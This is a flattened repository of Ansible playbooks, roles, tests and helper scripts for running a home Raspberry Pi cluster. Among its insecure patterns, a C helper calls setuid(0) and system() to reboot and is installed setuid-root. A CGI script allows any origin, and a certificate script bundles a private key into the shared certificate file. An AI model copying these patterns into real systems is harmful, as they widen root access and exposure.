27 | # set setuid 28 | /usr/bin/sudo chmod +s reboot_setuid 29 | 30 | # remove check old if exists 31 | if [ -f /opt/cluster/bin/reboot_setuid ]; then 32 | /usr/bin/sudo chattr -i /opt/cluster/bin/reboot_setuid 33 | /usr/bin/sudo rm -rv -- /opt/cluster/bin/reboot_setuid 34 | fi 35 | 36 | # copy new 37 | /usr/bin/sudo mv -v -- reboot_setuid /opt/cluster/bin/reboot_setuid 38 | /usr/bin/sudo chattr +i /opt/cluster/bin/reboot_setuid 39 | 40 | rpilogit "created reboot_setuid"; 41 | -------------------------------------------------------------------------------- /ansible/files/reboot.c/reboot_setuid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | setuid( 0 ); 9 | system ("/sbin/reboot now"); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /ansible/files/ssl-ca/gen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # test /usr/bin/sudo works OK 4 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1; 5 | 6 | # Generate an RSA key for the CA: 7 | openssl genrsa -out b3rry.clust0r.key 2048 8 | 9 | # show debug info: 10 | #openssl rsa -in b3rry.clust0r.key -noout -text 11 | 12 | # extract the public rsa key from the private rsa key 13 | openssl rsa -in b3rry.clust0r.key -pubout -out b3rry.clust0r.pubkey 14 | 15 | # show debug info: 16 | #openssl rsa -in b3rry.clust0r.pubkey -pubin -noout -text 17 | 18 | # generate a CSR 19 | openssl req -new -key bc.key -out bc.csr -subj "/C=AU/ST=Sydney/L=Sydney/O=rpi_cluster/OU=rpi_cluster/CN=status.b3rry.clust0r" 20 | 21 | # show debug info: 22 | #openssl req -new -out bc.csr -config bc.conf 23 | #openssl req -in bc.csr -noout -text 24 | 25 | # Create CA keys 26 | openssl genrsa -out ca.key 2048 27 | openssl req -new -x509 -key ca.key -out ca.crt -subj "/C=AU/ST=Sydney/L=Sydney/O=rpi_cluster CA/OU=rpi_cluster IT" 28 | 29 | # sign CSR 30 | openssl x509 -req -in bc.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out bc.crt 31 | 32 | # show debug info: 33 | #openssl x509 -in bc.crt -noout -text 34 | 35 | cat bc.crt ca.crt > bc.bundle.crt 36 | cat bc.key >> bc.bundle.crt 37 | 38 | /usr/bin/sudo cp ca.crt /usr/local/share/ca-certificates/ 39 | /usr/bin/sudo update-ca-certificates 40 | 41 | # EOF 42 | -------------------------------------------------------------------------------- /ansible/files/test-rpideployer.py: -------------------------------------------------------------------------------- 1 | # check deployer 2 | 3 | # use: 4 | # $ pytest test-rpideployer.py 5 | 6 | # pi cluster deployer ---------------------------------------------------------- 7 | 8 | def test_hostinfor_file(host): 9 | hostname = host.file("/opt/cluster/data/info_host.txt") 10 | assert hostname.contains("Raspberry Pi Cluster") 11 | 12 | def test_hostname_file(host): 13 | infotxt = host.file("/opt/cluster/data/info_roles.txt") 14 | assert infotxt.contains("Ansible Roles run against this host") 15 | 16 | # general rpi deployer role (psi) ---------------------------------------------- 17 | 18 | def test_haveged_running_and_enabled(host): 19 | haveged = host.service("haveged") 20 | assert haveged.is_running 21 | assert haveged.is_enabled 22 | 23 | #------------------------------------------------------------------------------- 24 | -------------------------------------------------------------------------------- /ansible/files/welcome.c/makefile: -------------------------------------------------------------------------------- 1 | welcome : welcome.c 2 | gcc -o welcome welcome.c -I. 3 | test : welcome.c 4 | echo testing 5 | clean : welcome.c 6 | rm -fv welcome 7 | install : welcome.c 8 | cp welcome /usr/local/bin/rpi-welcome 9 | -------------------------------------------------------------------------------- /ansible/files/welcome.c/welcome.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | /* 8 | * R-Pi Welcome script. 9 | * 10 | * make clean && make && make test && make install 11 | */ 12 | 13 | int main() { 14 | printf("\n"); 15 | printf("Raspberry Pi cluster node. \n"); 16 | system( "/bin/uname -a" ); 17 | printf("\n"); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /ansible/playbook-rpi-all-maint.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # maintenance role Playbook 3 | 4 | 5 | - name: gather facts on other hosts 6 | hosts: all 7 | gather_facts: True 8 | serial: 8 9 | roles: 10 | - ansible-pre-role 11 | 12 | 13 | - name: LanServices Main (Alpha and Beta) 14 | hosts: lanservices 15 | gather_facts: false 16 | serial: 1 17 | max_fail_percentage: 49 18 | roles: 19 | - upgrades 20 | - reboot 21 | 22 | 23 | - name: upgrades compute nodes two at a time 24 | hosts: compute 25 | gather_facts: false 26 | serial: 2 27 | max_fail_percentage: 49 28 | roles: 29 | - upgrades 30 | 31 | 32 | - name: reboot compute nodes one by one 33 | hosts: compute 34 | gather_facts: false 35 | serial: 1 36 | roles: 37 | - reboot 38 | -------------------------------------------------------------------------------- /ansible/playbook-rpi-all-ssh.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # setup access and secure vanilla Raspbian install. 3 | # default user/pass: pi / raspberry 4 | 5 | 6 | - name: setup access to fresh Rpi 7 | hosts: all 8 | serial: 8 9 | roles: 10 | - ssh-server 11 | - userac 12 | -------------------------------------------------------------------------------- /ansible/playbook-rpi-compute-k3s.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Compute webapp container hosting 3 | 4 | 5 | - name: gather facts on other hosts 6 | hosts: all 7 | gather_facts: True 8 | serial: 8 9 | roles: 10 | - ansible-pre-role 11 | 12 | 13 | - name: setup container system 14 | hosts: docker 15 | max_fail_percentage: 49 16 | gather_facts: false 17 | roles: 18 | - docker 19 | - k3s 20 | 21 | 22 | - name: gather facts on nodes 23 | hosts: all 24 | serial: 8 25 | gather_facts: True 26 | roles: 27 | - ansible-post-role 28 | -------------------------------------------------------------------------------- /ansible/playbook-rpi-compute.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Compute base 3 | 4 | 5 | - name: gather facts on other hosts 6 | hosts: all 7 | gather_facts: True 8 | serial: 8 9 | roles: 10 | - ansible-pre-role 11 | 12 | 13 | - name: Compute nodes main 14 | hosts: compute 15 | gather_facts: false 16 | max_fail_percentage: 49 17 | roles: 18 | - userac 19 | - base-system 20 | - hostsfile 21 | - ufw 22 | - rpilog 23 | - ssh-server 24 | - haveged 25 | - sysstat 26 | - ntp-client 27 | - distcc 28 | - golang 29 | - group-compute 30 | 31 | 32 | - name: gather facts on nodes 33 | hosts: all 34 | gather_facts: True 35 | serial: 8 36 | roles: 37 | - ansible-post-role 38 | -------------------------------------------------------------------------------- /ansible/playbook-rpi-deployer.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Setup Rpi Deployer (Psi) 3 | 4 | 5 | - name: Deployer 6 | hosts: deploy 7 | gather_facts: True 8 | roles: 9 | - ansible-pre-role 10 | - base-system 11 | - i3-wm 12 | - userac 13 | - ssh-server 14 | - ufw 15 | - rpilog 16 | - haveged 17 | - sysstat 18 | - uptimed 19 | - ntp-server 20 | - redis 21 | - golang 22 | - docker 23 | - yarn 24 | - hugo 25 | - group-deployer 26 | - ansible-post-role 27 | -------------------------------------------------------------------------------- /ansible/playbook-rpi-lanservices.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # LanServices main (Alpha and Beta) 3 | 4 | 5 | - name: gather facts on other hosts 6 | hosts: all 7 | gather_facts: True 8 | roles: 9 | - ansible-pre-role 10 | 11 | 12 | # do one server at a time (serial 1) 13 | # stop the play if a task on a host fails 14 | - name: LanServices Main (Alpha and Beta) 15 | hosts: lanservices 16 | gather_facts: false 17 | serial: 1 18 | any_errors_fatal: true 19 | roles: 20 | - userac 21 | - base-system 22 | - hostsfile 23 | - rpilog 24 | - ufw 25 | - ssh-server 26 | - haveged 27 | - uptimed 28 | - golang 29 | - ntp-server 30 | - ftp-server 31 | - dns-server 32 | - dhcp-server 33 | - dhcp-client 34 | - busybox-httpd 35 | - keepalived 36 | - group-lanservices 37 | 38 | 39 | - name: gather facts on nodes 40 | hosts: all 41 | serial: 8 42 | gather_facts: True 43 | roles: 44 | - ansible-post-role 45 | -------------------------------------------------------------------------------- /ansible/playbook-rpi-single-role.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Run a single ansible role. 3 | # 4 | # Note: if there are any other roles in the meta/main.yml dependencies they 5 | # will also be pulled in and run. 6 | # 7 | # Examples: 8 | # 9 | # $ ansible-playbook -e "runtherole=upgrades" playbook-rpi-single-role.yml 10 | # $ ansible-playbook -e "runtherole=puppet-agent" --limit="compute" playbook-rpi-single-role.yml 11 | # $ ansible-playbook -e "runtherole=base-system" -i ~/temp.ini playbook-rpi-single-role.yml 12 | 13 | - name: single role 14 | hosts: all 15 | roles: 16 | - "{{ runtherole }}" 17 | -------------------------------------------------------------------------------- /ansible/requirements.txt: -------------------------------------------------------------------------------- 1 | ansible 2 | ansible-lint 3 | ansible-runner 4 | redis 5 | tox 6 | passlib 7 | invoke 8 | httpie 9 | testinfra 10 | diceware 11 | docker 12 | molecule -------------------------------------------------------------------------------- /ansible/roles/ansible-post-role/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Run at the end of each playbook 3 | 4 | - name: Refresh inventory 5 | meta: refresh_inventory 6 | 7 | 8 | - debug: msg="ansible-post-role " 9 | tags: [ansiblepost] 10 | 11 | 12 | # keep a tally of how many times ansible has run 13 | - name: increment rpi deployer ansible runcount 14 | command: /usr/bin/redis-cli incr /rpi/deployer/ansible/runcount 15 | delegate_to: localhost 16 | ignore_errors: False 17 | check_mode: no 18 | changed_when: False 19 | tags: [ansiblepost] 20 | run_once: True 21 | -------------------------------------------------------------------------------- /ansible/roles/ansible-pre-role/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # For debugging, and running on all hosts to gather facts. 3 | 4 | 5 | - meta: clear_host_errors 6 | 7 | 8 | # ping all hosts in inventory 9 | - name: ping 10 | ping: 11 | 12 | 13 | - name: "re-run setup " 14 | setup: ~ 15 | 16 | 17 | - debug: msg="inventory hostname {{ inventory_hostname }} " 18 | changed_when: False 19 | tags: [ansiblepre] 20 | ignore_errors: True 21 | 22 | 23 | - debug: msg="ansible hostname {{ ansible_hostname }} " 24 | changed_when: False 25 | tags: [ansiblepre] 26 | ignore_errors: True 27 | 28 | 29 | # syslog 30 | - name: ansible pre role syslog 31 | syslogger: 32 | msg: "rpicluster ansible-pre-role gathering facts" 33 | priority: "notice" 34 | facility: "daemon" 35 | log_pid: true 36 | ignore_errors: True 37 | changed_when: False 38 | run_once: True 39 | tags: [ansiblepre] 40 | delegate_to: localhost 41 | -------------------------------------------------------------------------------- /ansible/roles/base-system/.ansible-lint: -------------------------------------------------------------------------------- 1 | parseable: true 2 | quiet: true 3 | skip_list: 4 | - '503' 5 | use_default_rules: true 6 | verbosity: 1 -------------------------------------------------------------------------------- /ansible/roles/base-system/.yamllint: -------------------------------------------------------------------------------- 1 | --- 2 | # Based on ansible-lint config 3 | extends: default 4 | 5 | rules: 6 | braces: 7 | max-spaces-inside: 1 8 | level: error 9 | brackets: 10 | max-spaces-inside: 1 11 | level: error 12 | colons: 13 | max-spaces-after: -1 14 | level: error 15 | commas: 16 | max-spaces-after: -1 17 | level: error 18 | comments: disable 19 | comments-indentation: disable 20 | document-start: disable 21 | empty-lines: 22 | max: 3 23 | level: error 24 | hyphens: 25 | level: error 26 | indentation: disable 27 | key-duplicates: enable 28 | line-length: disable 29 | new-line-at-end-of-file: disable 30 | new-lines: 31 | type: unix 32 | trailing-spaces: disable 33 | truthy: disable 34 | -------------------------------------------------------------------------------- /ansible/roles/base-system/files/etc/apt/apt.conf.d/00local-rpi-cluster: -------------------------------------------------------------------------------- 1 | # R-Pi Cluster Ansible managed file 2 | Dpkg::Options { 3 | "--force-confdef"; 4 | "--force-confold"; 5 | } 6 | -------------------------------------------------------------------------------- /ansible/roles/base-system/files/etc/issue: -------------------------------------------------------------------------------- 1 | ---------------------- 2 | Welcome to R-Pi Cluster 3 | \s \r \v \m 4 | host: \n \o 5 | at: \d 6 | \l \b \U 7 | ---------------------- 8 | -------------------------------------------------------------------------------- /ansible/roles/base-system/files/rpihw.fact: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # to test this fact is loaded: 4 | # ansible -m setup beta | grep -A 4 ansible_local 5 | 6 | # this MAC prefix belongs to the raspberry pi foundation 7 | # see https://hwaddress.com/?q=B827EB000000 8 | mymac=$(ip addr show | grep 'b8:27:eb:' | awk '{print $2'} | wc -c); 9 | 10 | if [ $mymac -eq "18" ]; then 11 | rpihwstate="True"; 12 | else 13 | rpihwstate="False"; 14 | fi 15 | 16 | cat < /root/usbguard-rules.conf 12 | 13 | # vi rules.conf (review/modify the rule set) 14 | 15 | sudo install -m 0600 -o root -g root /root/usbguard-rules.conf /etc/usbguard/rules.conf 16 | 17 | sudo systemctl restart usbguard -------------------------------------------------------------------------------- /ansible/roles/base-system/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | -------------------------------------------------------------------------------- /ansible/roles/base-system/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: base-system 4 | author: crgm 5 | description: base config to be applied on every rpi node 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/base-system/molecule/default/Dockerfile.j2: -------------------------------------------------------------------------------- 1 | # Molecule managed 2 | 3 | {% if item.registry is defined %} 4 | FROM {{ item.registry.url }}/{{ item.image }} 5 | {% else %} 6 | FROM {{ item.image }} 7 | {% endif %} 8 | 9 | {% if item.env is defined %} 10 | {% for var, value in item.env.items() %} 11 | {% if value %} 12 | ENV {{ var }} {{ value }} 13 | {% endif %} 14 | {% endfor %} 15 | {% endif %} 16 | 17 | RUN if [ $(command -v apt-get) ]; then apt-get update && apt-get install -y python sudo bash ca-certificates iproute2 && apt-get clean; \ 18 | elif [ $(command -v dnf) ]; then dnf makecache && dnf --assumeyes install python sudo python-devel python*-dnf bash iproute && dnf clean all; \ 19 | elif [ $(command -v yum) ]; then yum makecache fast && yum install -y python sudo yum-plugin-ovl bash iproute && sed -i 's/plugins=0/plugins=1/g' /etc/yum.conf && yum clean all; \ 20 | elif [ $(command -v zypper) ]; then zypper refresh && zypper install -y python sudo bash python-xml iproute2 && zypper clean -a; \ 21 | elif [ $(command -v apk) ]; then apk update && apk add --no-cache python sudo bash ca-certificates; \ 22 | elif [ $(command -v xbps-install) ]; then xbps-install -Syu && xbps-install -y python sudo bash ca-certificates iproute2 && xbps-remove -O; fi 23 | -------------------------------------------------------------------------------- /ansible/roles/base-system/molecule/default/INSTALL.rst: -------------------------------------------------------------------------------- 1 | ******* 2 | Docker driver installation guide 3 | ******* 4 | 5 | Requirements 6 | ============ 7 | 8 | * Docker Engine 9 | 10 | Install 11 | ======= 12 | 13 | Please refer to the `Virtual environment`_ documentation for installation best 14 | practices. If not using a virtual environment, please consider passing the 15 | widely recommended `'--user' flag`_ when invoking ``pip``. 16 | 17 | .. _Virtual environment: https://virtualenv.pypa.io/en/latest/ 18 | .. _'--user' flag: https://packaging.python.org/tutorials/installing-packages/#installing-to-the-user-site 19 | 20 | .. code-block:: bash 21 | 22 | $ pip install 'molecule[docker]' 23 | -------------------------------------------------------------------------------- /ansible/roles/base-system/molecule/default/molecule.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependency: 3 | name: galaxy 4 | driver: 5 | name: docker 6 | lint: 7 | name: yamllint 8 | platforms: 9 | - name: instance 10 | image: debian:10 11 | provisioner: 12 | name: ansible 13 | lint: 14 | name: ansible-lint 15 | x: ["ANSIBLE503"] 16 | verifier: 17 | name: testinfra 18 | lint: 19 | name: flake8 20 | -------------------------------------------------------------------------------- /ansible/roles/base-system/molecule/default/playbook.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Converge 3 | hosts: all 4 | roles: 5 | - role: base-system 6 | -------------------------------------------------------------------------------- /ansible/roles/base-system/molecule/default/tests/test_default.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import testinfra.utils.ansible_runner 4 | 5 | testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner( 6 | os.environ['MOLECULE_INVENTORY_FILE'] 7 | ).get_hosts('all') 8 | 9 | 10 | def test_hosts_file(host): 11 | f = host.file('/opt/cluster/data/info_roles.txt') 12 | assert f.exists 13 | -------------------------------------------------------------------------------- /ansible/roles/base-system/tasks/apt-repo.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="Base System apt-repo" 3 | 4 | 5 | - name: apt-repo remove default repository 6 | apt_repository: 7 | repo: deb http://raspbian.raspberrypi.org/raspbian/ stretch main contrib non-free rpi 8 | state: absent 9 | become: true 10 | 11 | 12 | - name: apt-repo add raspbian mirror 13 | apt_repository: 14 | repo: "deb {{ apt_local_mirror }} stretch main contrib non-free rpi" 15 | state: present 16 | update_cache: true 17 | become: true 18 | 19 | 20 | - name: copy apt config 21 | copy: 22 | src: etc/apt/apt.conf.d/00local-rpi-cluster 23 | dest: /etc/apt/apt.conf.d/00local-rpi-cluster 24 | mode: 0644 25 | owner: root 26 | group: root 27 | become: true -------------------------------------------------------------------------------- /ansible/roles/base-system/tasks/cleanup.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="Base System cleanup" 3 | 4 | 5 | # Remove Apt packages (in defaults/main.yml) 6 | - name: Remove these packages 7 | apt: 8 | name: "{{ item.rmapt }}" 9 | state: absent 10 | with_items: "{{ package_remove }}" 11 | become: true 12 | 13 | 14 | - name: disable bluetooth 15 | systemd: 16 | name: bluetooth 17 | enabled: no 18 | masked: no 19 | become: true 20 | tags: [kernelmod] 21 | ignore_errors: true 22 | 23 | 24 | - name: stop these services 25 | service: 26 | name: "{{ item.name }}" 27 | state: stopped 28 | enabled: no 29 | with_items: "{{ services_to_stop }}" 30 | changed_when: false 31 | become: true -------------------------------------------------------------------------------- /ansible/roles/base-system/tasks/kernelmod.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="Base System kernelmod" 3 | 4 | 5 | # change in role vars folder 6 | - name: blacklist these kernel modules 7 | kernel_blacklist: 8 | name: "{{ item.name }}" 9 | state: present 10 | with_items: "{{ kern_blacklist_mod }}" 11 | become: true 12 | ignore_errors: true 13 | tags: [kernelmod] 14 | -------------------------------------------------------------------------------- /ansible/roles/base-system/tasks/localization.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="Base System localization" 3 | 4 | 5 | # Set timezone UTC 6 | - name: set timezone to UTC 7 | timezone: 8 | name: UTC 9 | become: true 10 | tags: [common] 11 | -------------------------------------------------------------------------------- /ansible/roles/base-system/tasks/sslcert.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # R-Pi cluster SSL 3 | - debug: msg="Base System sslcert" 4 | 5 | 6 | - name: Generate OpenSSL private key for host 7 | openssl_privatekey: 8 | path: /opt/cluster/data/ssl-ansible-private.pem 9 | 10 | 11 | - name: Generate an OpenSSL public key from ptivate key 12 | openssl_publickey: 13 | path: /opt/cluster/data/ssl-ansible-public.pem 14 | privatekey_path: /opt/cluster/data/ssl-ansible-private.pem 15 | 16 | 17 | - name: get OpenSSL public key. 18 | fetch: 19 | src: /opt/cluster/data/ssl-ansible-public.pem 20 | dest: /opt/cluster/backup 21 | 22 | 23 | - name: Generate an OpenSSL CSR. 24 | openssl_csr: 25 | path: /opt/cluster/data/{{ ansible_hostname }}.csr 26 | privatekey_path: /opt/cluster/data/ssl-ansible-private.pem 27 | common_name: "{{ ansible_hostname }}" 28 | 29 | 30 | - name: get OpenSSL CSR. 31 | fetch: 32 | src: /opt/cluster/data/{{ ansible_hostname }}.csr 33 | dest: /opt/cluster/backup 34 | -------------------------------------------------------------------------------- /ansible/roles/base-system/tasks/sysctl.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Raspbian /etc/sysctl.conf tuning 3 | - debug: msg="Base System sysctl" 4 | 5 | 6 | # change in role vars folder 7 | - name: change etc sysctl conf settings 8 | sysctl: 9 | name: "{{ item.name }}" 10 | value: "{{ item.value }}" 11 | sysctl_set: "{{ item.set }}" 12 | state: "{{ item.state }}" 13 | reload: true 14 | with_items: "{{ sysctl_settings }}" 15 | become: true 16 | -------------------------------------------------------------------------------- /ansible/roles/base-system/templates/etc/rc_local.j2: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | # 3 | # Raspberry Pi Cluster rc.local 4 | # {{ ansible_managed }} 5 | # created by role: {{role_path|basename}} 6 | # 7 | 8 | rpilogit () { 9 | echo -e "rpicluster: $1 \n"; 10 | logger -t rpicluster "$1"; 11 | } 12 | 13 | # create a temp file 14 | rclocal_temp=$(mktemp -d) 15 | 16 | # Print the IP address 17 | _IP=$(hostname -I) || true 18 | if [ "$_IP" ]; then 19 | printf "My IP address is %s\n" "$_IP" 20 | fi 21 | 22 | # set static arp entry to default gateway 23 | arp -s {{ rpi_net_default_gw }} {{ rpi_net_default_gw_mac }} 24 | 25 | 26 | touch -f ${rclocal_temp}/boot.txt 27 | echo "OK" > ${rclocal_temp}/boot.txt 28 | 29 | rpilogit "/etc/rc.local tempdir: $rclocal_temp" 30 | rpilogit "/etc/rc.local finished"; 31 | exit 0 32 | -------------------------------------------------------------------------------- /ansible/roles/base-system/templates/rpihost.j2: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- 2 | .......:: Raspberry Pi Cluster ::....... 3 | -------------------------------------------------------------------------------- 4 | 5 | Host: {{ ansible_hostname }} 6 | MAC: {{ ansible_eth0.macaddress }} 7 | Addresses: {{ ansible_all_ipv4_addresses }} 8 | 9 | Groups: {{ group_names }} 10 | 11 | connection: {{ ansible_connection }} 12 | {% if ansible_env.SSH_CLIENT is defined %} 13 | SSH client: {{ ansible_env.SSH_CLIENT }} 14 | {% endif %} 15 | {% if ansible_env.SSH_CONNECTION is defined %} 16 | SSH Con: {{ ansible_env.SSH_CONNECTION }} 17 | {% endif %} 18 | PWD env: {{ ansible_env.PWD }} 19 | User ID: {{ ansible_user_id }} 20 | 21 | Arch: {{ ansible_architecture }} 22 | Bios: {{ ansible_bios_version }} 23 | Distro: {{ ansible_distribution }} 24 | Release: {{ ansible_distribution_release }} 25 | Version: {{ ansible_distribution_version }} 26 | Kernel: {{ ansible_kernel }} 27 | Python V: {{ ansible_python_version }} 28 | 29 | Devices: {{ ansible_device_links.ids }} 30 | 31 | -------------------------------------------------------------------------------- 32 | role: {{role_path|basename}} 33 | play: {{ ansible_play_name }} 34 | -------------------------------------------------------------------------------- 35 | -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/files/bbhttpd.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=bbhttpd 3 | Requires=network-online.target 4 | After=network-online.target 5 | 6 | [Service] 7 | Environment=GOMAXPROCS=1 8 | Restart=on-failure 9 | ExecStart=/usr/sbin/chroot --userspec=bbweb:bbweb /opt/chroot_bb /bin/busybox httpd -p 1080 -h /www/ -v -f 10 | 11 | 12 | KillSignal=SIGINT 13 | 14 | [Install] 15 | WantedBy=multi-user.target 16 | 17 | -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/files/glinder1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/ansible/roles/busybox-httpd/files/glinder1.png -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/files/hello: -------------------------------------------------------------------------------- 1 | #!/bin/busybox sh 2 | 3 | # for /opt/chroot_bb/www/cgi-bin/hello 4 | 5 | # strict mode 6 | set -e; 7 | 8 | # headers 9 | echo "Content-type: text/html"; 10 | echo "Content-Location: *.b3rry.clust0r"; 11 | echo "Access-Control-Allow-Origin: *"; 12 | echo "Access-Control-Allow-Origin: localhost"; 13 | echo ""; 14 | 15 | # get info 16 | thedate=$(/bin/busybox date || exit 1;) 17 | hostname=$(/bin/busybox hostname || exit 1;) 18 | uname=$(/bin/busybox uname -a || exit 1;) 19 | uptime=$(/bin/busybox uptime || exit 1;) 20 | memory=$(/bin/busybox free || exit 1;) 21 | 22 | # return html 23 | echo ""; 24 | echo "R-Pi status"; 25 | echo ""; 26 | echo "

hostname: $hostname

"; 27 | echo "

date: $thedate

"; 28 | echo "

uptime: $uptime

"; 29 | echo "

uname: $uname

"; 30 | echo "

memory:

$memory

"; 31 | echo ""; 32 | echo ""; 33 | echo ""; 34 | 35 | # EOF 36 | -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/files/httpd.conf: -------------------------------------------------------------------------------- 1 | # BusyBox httpd config 2 | 3 | # access 4 | A:* 5 | 6 | # Show index.html when a directory is requested 7 | I:index.html 8 | 9 | # MIME types 10 | .xml:text/xml 11 | .json:application/json 12 | 13 | # run xxx.php through an interpreter 14 | #*.php:/path/php 15 | -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: busybox-httpd 4 | author: crgm 5 | description: a small webserver (busybox httpd) run in a chroot. 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/readme.md: -------------------------------------------------------------------------------- 1 | 2 | BusyBox contains a small httpd server. 3 | 4 | * https://busybox.net/about.html 5 | * https://wiki.openwrt.org/doc/howto/http.httpd 6 | * https://git.busybox.net/busybox/tree/networking/httpd.c 7 | 8 | files/chroot_bb.sh builds a chroot for it to run under, and installs a systemd service. 9 | 10 | The Alpha and Beta nodes run this (port 1080) 11 | -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/templates/ansible-index.j2: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | R-Pi - {{ ansible_nodename }} 5 | 6 | 7 | 8 | 19 | 20 | 21 |
22 |

R-Pi BB httpd

23 |

Running on: {{ ansible_nodename }}.

24 |
25 |
26 |

27 | 30 |

31 |

32 |
33 |
34 |

35 |

ssh connection: {{ ansible_env.SSH_CONNECTION }}

36 |
37 | 38 | 39 | -------------------------------------------------------------------------------- /ansible/roles/busybox-httpd/vars/main.yml: -------------------------------------------------------------------------------- 1 | # busybox httpd chroot vars 2 | 3 | bbhttpd_src_tmp: "/opt/cluster/lanservice/bbhttpd_src/" 4 | 5 | files: [ 6 | {src: 'bbhttpd.service'}, 7 | {src: 'hello'}, 8 | {src: 'glinder1.png'}, 9 | {src: 'httpd.conf'}, 10 | {src: 'chroot_bb.sh'} 11 | ] 12 | -------------------------------------------------------------------------------- /ansible/roles/dhcp-client/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # only used for nodes that have a static IP set, 3 | # as this is where you set static IP's on Raspbian now. 4 | # 5 | # the rpi_ip value from the inventory is used. 6 | 7 | - debug: msg="set static IP with dhcpcd " 8 | - debug: msg="IP will be {{ hostvars[inventory_hostname]['rpi_ip'] }}" 9 | 10 | 11 | # Network settings (static IP is set here) 12 | - name: static ip in dhcp client opts 13 | template: 14 | src: dhcp-client.j2 15 | dest: /etc/dhcpcd.conf 16 | mode: 0644 17 | owner: root 18 | group: root 19 | backup: true 20 | become: true 21 | tags: [dhcpclient] 22 | 23 | 24 | # log 25 | - name: output to rpicluster log 26 | command: logger -t rpicluster ansible dhcp-client role ran 27 | tags: [dhcpclient] 28 | changed_when: False 29 | 30 | 31 | - name: roles info txt 32 | lineinfile: 33 | path: /opt/cluster/data/info_roles.txt 34 | line: "{{ role_path|basename }}" 35 | owner: root 36 | group: root 37 | mode: 0444 38 | become: true 39 | tags: [dhcpclient] 40 | -------------------------------------------------------------------------------- /ansible/roles/dhcp-server/defaults/main.yml: -------------------------------------------------------------------------------- 1 | # enable server? 2 | rpi_dhcpd_enabled: false 3 | -------------------------------------------------------------------------------- /ansible/roles/dhcp-server/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | # restart DHCP server 5 | - name: isc-dhcp-server-reload 6 | service: 7 | name: isc-dhcp-server 8 | state: restarted 9 | become: true 10 | when: rpi_dhcpd_enabled == true 11 | -------------------------------------------------------------------------------- /ansible/roles/dhcp-server/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: dhcp-server 4 | author: crgm 5 | description: A DHCP server for the cluster 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/dhcp-server/templates/dhcp-server-default.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # /etc/default/isc-dhcp-server 3 | # ansible role: {{role_path|basename}} 4 | 5 | # Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf). 6 | DHCPD_CONF=/etc/dhcp/dhcpd.conf 7 | 8 | # Path to dhcpd's PID file (default: /var/run/dhcpd.pid). 9 | #DHCPD_PID=/var/run/dhcpd.pid 10 | 11 | # Additional options to start dhcpd with. 12 | # Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead 13 | #OPTIONS="" 14 | 15 | # On what interfaces should the DHCP server (dhcpd) serve DHCP requests? 16 | # Separate multiple interfaces with spaces, e.g. "eth0 eth1". 17 | INTERFACES="eth0" 18 | -------------------------------------------------------------------------------- /ansible/roles/dhcp-server/vars/main.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/ansible/roles/dhcp-server/vars/main.yml -------------------------------------------------------------------------------- 